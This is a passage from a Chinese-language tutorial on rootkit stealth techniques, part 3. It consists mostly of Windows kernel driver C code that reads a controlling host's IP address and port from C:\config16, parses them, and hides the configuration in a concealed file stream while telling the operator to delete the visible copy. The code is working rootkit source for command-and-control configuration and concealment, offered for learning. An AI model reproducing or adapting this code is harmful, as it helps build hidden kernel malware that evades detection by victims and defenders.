Rootkit隐形技术入门(3)

// configManager.h 
// 配置管理器的头文件

#ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_

Char  masterPort[10];
Char  masterAddress1[4];
Char  masterAddress2[4];
Char  masterAddress3[4];
Char  masterAddress4[4];

NTSTATUS Configure();

#endif

// configManager.c
// 首先从c:\config16寻找配置文件
// If it's there, save as MASTER_FILE:config16 and delete c:\config16
// If it's not there, try MASTER_FILE:configFile
// If that doesn't exist, quit!

#include "ntddk.h"
#include "fileManager.h"
#include "configManager.h"

// Set the controllers IP and port
NTSTATUS Configure()
{
 CHAR data[21];
 SHORT vis = 0;
 SHORT loop;
 SHORT dataIndex;
 SHORT addressIndex;
 ULONG fileSize;
 PHANDLE fileHandle;

 //了解读哪个文件
 if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )
 {
  DbgPrint("comint16: Reading config from visible file.");
  vis = 1;
 }
 else
 {
  if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )
  {
   DbgPrint("comint16: Reading config from hidden file.");
  }
  else
  {
   DbgPrint("comint16: Error. Could not find a config file.");
   return STATUS_UNSUCCESSFUL;
  }
 }

 //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式
 dataIndex = 0;
 addressIndex = 0;
 // First 3 are xxx of xxx.111.111.111:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress1[addressIndex++] = data[dataIndex++];
 masterAddress1[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //接下来是111.xxx.111.111:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress2[addressIndex++] = data[dataIndex++];
 masterAddress2[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //然后处理111.111.xxx.111:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress3[addressIndex++] = data[dataIndex++];
 masterAddress3[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过点号“.”
 //然后处理111.111.111.xxx:11111中的xxx
 for( loop = 0; loop < 3; loop++ )
  masterAddress4[addressIndex++] = data[dataIndex++];
 masterAddress4[addressIndex] = 0;
 addressIndex = 0; //复位
 dataIndex++; //跳过冒号“：”
 //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx
 for( loop = 0; loop < 5; loop++ )
  masterPort[addressIndex++] = data[dataIndex++];
 masterPort[addressIndex] = 0;

 DbgPrint( "comint16: Using %s.%s.%s.%s:%s",
   masterAddress1,
   masterAddress2,
   masterAddress3,
   masterAddress4,
   masterPort);

 if( vis == 1 )
 {
  DbgPrint("comint16: Saving config to hidden file.");
  PutFile( L"config16", data, fileSize );
  DbgPrint("comint16: You may delete the visible file.");
 }

 return STATUS_SUCCESS;
}